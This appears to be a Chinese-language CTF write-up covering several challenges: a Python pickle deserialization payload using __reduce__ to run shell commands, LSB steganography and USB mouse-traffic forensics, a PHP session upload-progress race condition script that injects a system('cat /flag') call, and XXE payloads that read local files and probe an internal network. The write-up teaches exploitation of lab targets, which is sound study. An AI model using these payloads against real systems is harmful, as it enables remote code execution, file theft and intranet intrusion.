become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

可以看见一处python反序列化漏洞

1
2
3
4
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1) #找到模板文件,进行渲染,从而显示页面

而self.get_argument(‘become’)是获取become参数的值,我们只要点击一键成为大会员,然后抓包就可以看见这个become参数。根据代码

1
p = pickle.loads(urllib.unquote(become))

我们要输入一串序列化的字符串进行,让它进行读取,前面提到了__reduce__()方法,可以执行恶意代码,而这里也没有什么过滤,所以可以直接构造序列化信息,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
# coding=utf8
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
# return (eval,(open('flag.txt').read(),))

a = payload()
print urllib.quote(pickle.dumps(a))

commands.getoutput()

1
可以获取程序执行后的返回值和输出

eval()

1
在php中是将参数当作php代码执行,而在python是将参数当作是表达式执行,并返回结果

详细可参考:https://blog.csdn.net/qq_43431158/article/details/108919605

lsb最低位解密及usb流量取证分析

lsb最低位解密及usb流量取证分析

下载题目后,发现是一个解压包,而且有多层解密,所以我们可以使用脚本来对文件进行多层解压,而每层zip文件中都有story,而在story中会有关键的信息,但不知道是那一层,而story中隐藏信息不知道哪来的思路,我也只是看别人的wp,解压脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from zipfile import ZipFile


for i in range(1,520):
str1="D:/比赛临时文档/羊城杯/temp/"
str1=str1+str(520-i)+".zip"
f = ZipFile(str1,'r')
for file in f.namelist():
f.extract(file,"D:/比赛临时文档/羊城杯/temp/")
with open("D:/比赛临时文档/羊城杯/temp/story",'r',encoding='UTF-8') as f:
str2=f.read()
if 'png' in str2:
pass
else:
print(str2)

运行脚本,解压文件,并会输出特殊的story的信息

1
2
3
4
5
6
这都被你发现了?
我这故事不错吧,嘻嘻嘻
那就把flag给你吧
oh,不,还有一半藏在了pcap的心里,快去找找吧
左心房右心房,扑通扑通的心,咿呀咿呀的❤
72, 89, 75, 88, 128, 93, 58, 116, 76, 121, 120, 63, 108,

我们可以知道一部分的flag,而且我们还可以得到一张flag.png,而根据题目的提示,我们可以判断是LSB最低位解密,也可以使用zsteg来对png图片进行扫描,从而发现有flag.pcap文件,所以此时我们可以使用LSBsteg.py来进行解密

1
LSBsteg.py decode -i flag.png -o flag.zip

所以我们可以使用ARCHPR软件来破解,密码是12345,解压后我们看见flag.pcap,然后看见flag.pcap文件的内容,我们可以判断是usb流量分析,然后从流量包中可以看见流量信息为4个字节,而由于鼠标移动时表现为连续性,与键盘击键的离散性不一样,但实际上鼠标动作所产生的数据包也是离散的。不同的鼠标抓到的流量不一样,一般的鼠标流量都是四个字节,所以判断是鼠标流量,因此可以用

1
tshark -r usb2.pcap -T fields -e usb.capdata > usbdata.txt

来获取信息,但是这个exe在wireshark文件夹里面,所以要将flag.pcap放在wireshark文件夹里,然后在相应的文件夹的cmd命令行中执行上面的命令,然后用exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
f = open('xy.txt','w')
DataFileName = "2.txt"
def main():
# get argv
pcapFilePath = sys.argv[1]

# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))

with open('2.txt','r') as keys:
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16)
if btn_flag == 2 : #2为右键,1为左键
f.write(str(posx)+",")
f.write(str(posy)+'\n')
f.close()
keys.close()

来获取坐标点,然后用这个exp来画散点图,获取剩下的flag,但是上面那个脚本需要左键跑完,右键再跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import matplotlib.pyplot as plt
import random
from matplotlib.pyplot import MultipleLocator

x=[]
y=[]

with open("xy.txt",'r') as f:
for line in f:
strlist=line.split(',')
y.append(int(strlist[0]))
x.append(int(strlist[1].replace('\n','')))


plt.scatter(x,y,s=30)
plt.show()

然后得到剩余数字,然后提示有flag头部为GWHT,所以看它们的ascii码,然后与得到的数字进行对比,然后发现规律,exp

1
2
3
s=[72,89,75,88,128,93,58,116,76,121,120,63,108,94,51,134,119,146,130,63,111]
for i in range(1,22):
print(chr(int(s[i-1]-i)))

session条件竞争

session条件竞争

打开页面,看见源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file('index.php');
error_reporting(0);
$gwht= $_GET["gwht"];
$ycb= $_GET["ycb"];
if(preg_match("/flag/",$gwht)){
die('hack' );
}
if(preg_match("/secret/",$gwht)){
die('hack' );
}
include($gwht);
if(isset($ycb)){
$url = parse_url($_SERVER['REQUEST_URI']);
echo $url['query'];
parse_str($url['query'],$query);
foreach($query as $value){
echo $value;
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}
echo serialize($ycb);
}else{
echo "what are you doing";
}
?>

通过源码,我们可以看到有个include()函数可以给我们利用来读取文件,但它使用正则过滤,过滤掉了flag,所以我们可以使用data伪协议来构造php代码来读取,所以构造

1
//?gwht=/var/lib/php5/sess_ph1

来读取目录信息,发现不行,经过本地测试发现是因为php默认allow_url_include=0,所以不可以使用data伪协议,但是我们可以使用session条件竞争来做,由于你上传的文件,会被服务器放在一个地方,然后进行判断文件是否有害,有害则被删除,但是如果时间太长的话,我们就可以利用这个时间间隙来访问文件,所以改了个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import io
import requests
import threading

sessid = 'ph1'


def t1(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
'http://192.168.39.219:8000/',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag");?>'},
files={'file': ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)


def t2(session):
while True:
response = session.get(f'http://192.168.39.219:8000//?gwht=/var/lib/php5/sess_{sessid}')
print(response.text)


with requests.session() as session:
t1 = threading.Thread(target=t1, args=(session, ))
t1.daemon = True
t1.start()

t2(session)

如果用命令行看返回结果的话,有点麻烦,所以我们直接在页面,通过它给的include()函数来包含上传文件,所以构造

1
//?gwht=/var/lib/php5/sess_ph1

然后不断刷新,来包含sess_ph1文件,从而读取flag

外部实体注入(xxe漏洞)之内网探测

外部实体注入(xxe漏洞)之内网探测

我们打开页面后,发现是一个登录界面,所以我们可以填入username和password的信息,然后抓包,发现一串字符串

1
<user><username>&admin;</username><password>123</password></user>

所以我们可以判断是外部实体注入(xxe漏洞),此时我们可以使用

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///文件路径">
]>
<user><username>&admin;</username><password>123</password></user>

来读取文件读取文件的内容,其中的admin可以自定义,而当我们构造的是

1
file:///flag

的时候,发现没有出现flag,所以我们需要向其他的文件

1
2
3
file:///etc/hosts #读取hosts文件

file:///proc/net/arp #读取arp的信息

通过读取arp信息,我们可以看见一个ip

1
10.0.1.11

所以我们可以使用读取一下ip的信息

1
http://10.0.1.11/

发现报错

1
DOMDocument::loadXML(http://10.0.1.11/): failed to open stream: No route to host in

根据报错信息,我们试一下用bp扫描一下ip的C段

最后发现

1
http://10.0.1.6

可以读取,所以最后上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /doLogin.php HTTP/1.1
Host: 1de4c2c9-7b64-4fd9-9fe8-f95a61db93dc.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 168
Origin: http://1de4c2c9-7b64-4fd9-9fe8-f95a61db93dc.node4.buuoj.cn:81
Connection: close
Referer: http://1de4c2c9-7b64-4fd9-9fe8-f95a61db93dc.node4.buuoj.cn:81/
Cookie: UM_distinctid=17ae21e0e7f4c7-0fd161bcfd1ad38-4c3e257a-186a00-17ae21e0e80551

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "http://10.0.1.6/">
]>
<user><username>&admin;</username><password>123</password></user>